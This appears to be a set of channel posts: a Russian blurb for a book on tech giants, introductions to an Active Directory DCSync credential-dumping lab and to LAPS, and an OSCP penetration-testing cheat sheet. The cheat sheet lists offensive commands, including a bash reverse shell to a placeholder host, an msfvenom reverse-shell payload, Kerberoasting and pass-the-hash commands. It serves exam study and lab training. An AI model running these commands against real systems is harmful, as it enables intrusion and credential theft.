Сохраняя энергию стартапа. Как техногиганты ежедневно изобретают будущее и остаются на вершине, Алекс Кантровиц, 2022

Большинство компаний, определившись со своими преимуществами, зацикливаются на их совершенствовании, но забывают при этом, что их взгляд обращен в прошлое, а не в будущее. Amazon и другие технологические гиганты (такие как Facebook, Google и Microsoft) всегда работают так, будто каждый день – первый: эти лидеры рынка тратят свое время на переосмысление своих продуктов, а не на то, чтобы бесконечно их улучшать.

Благодаря 130 интервью, проведенным с сотрудниками ведущих IT-компаний, автор этой книги раскрывает секрет успеха технологических гигантов в деловом мире, где нет никаких гарантий, только риск и конкуренция.

#book #startup

Credential Dumping: DCSync Attack

Active Directory Credential Dumping DCSync Attack is a specialized technique used by attackers to extract credentials from a domain controller (DC) by simulating the behavior of a domain controller itself.

🛠 Setting up a lab environment to simulate the attack
📚 Understanding the DRS protocol and how the attack works
🔍 Why such misconfigurations occur in real-world scenarios
💣 Exploiting the misconfiguration
🗺 Mapping the attack to MITRE ATT&CK
👁 Detecting the attack
🛡 Mitigation strategies

👁 Lab Setup
Requirements:
• A virtualized environment (e.g., VMware, VirtualBox, or Hyper-V).
• Windows Server configured as a Domain Controller.
• A Windows client machine.
• Tools: Impacket, Mimikatz, Netexec, and Metasploit.

🛠 Steps:
Domain Controller Configura􀆟on:
• Install and configure Windows Server as a DC where domain name is ignite.local and IP is defined as sta􀆟c 192.168.1.48.
• Set up Ac􀆟ve Directory (AD) with a few users and groups.

#windows

Credential Dumping LAPS

In this ar􀆟cle, we will be discussing the concept of Credential Dumping and LAPS (Local Administrator Password Solution). We will delve into the world of password management and explore how LAPS can help mi􀆟gate the risks associated with using shared local accounts and passwords across a domain. With the increasing threat of cyber attack's, it's essential to understand the importance of secure password management and how LAPS can help streamline this process.

The Local Administrator Password Solution (LAPS) is a tool designed to manage local account passwords for computers joined to a domain. It securely stores these passwords in Ac􀆟ve Directory (AD) and protects them using Access Control Lists (ACLs). Consequently, only authorized users can access or reset them.

In setups where users must log into computers without domain credentials, managing passwords can become challenging and heighten the risk of Pass-the-Hash (PtH) atacks. Therefore, LAPS addresses the problem of using a shared local account with the same password across all computers in a domain. It assigns a unique, randomly generated password to the local administrator account on each machine. As a result, domain administrators can control which users, such as helpdesk staff, can view these passwords.

#windows

OSCP Cheat Sheet: Your Ultimate Penetration Testing Guide for Windows and Linux

Preparing for the OSCP exam or diving into penetration testing? Here’s a quick rundown of essential tools, commands, and techniques to help you succeed!

🔍 Recon & Enumeration
Nmap: nmap -sV -p- <IP> (Full scan)
SMB: crackmapexec smb <IP> -u user -p pass --shares
HTTP: gobuster dir -u http://<IP> -w wordlist.txt

⚡️ Exploitation
Reverse Shells:
Bash: bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1
MSFVenom: msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell.exe
Privilege Escalation:
Windows: Check winpeas.exe or powerup.ps1
Linux: sudo -l or find / -perm -u=s -type f 2>/dev/null

🔑 Password Cracking
John: john --wordlist=rockyou.txt hash
Hashcat: hashcat -m 1000 hash.txt wordlist.txt

🛠 Active Directory
Kerberoasting: impacket-GetUserSPNs -dc-ip <DC-IP> domain/user:pass -request
Pass-the-Hash: psexec.[py]-hashes LM:NTLM user@target

📌 Pro Tips:
Always check /etc/passwd, registry keys, and scheduled tasks for privesc paths.
Use tools like BloodHound for AD mapping and Mimikatz for credential dumping.

1010111 1101000 1101001 1110100 1100101 110010 1101000 1100001 1100011 1101011

#pentest #exam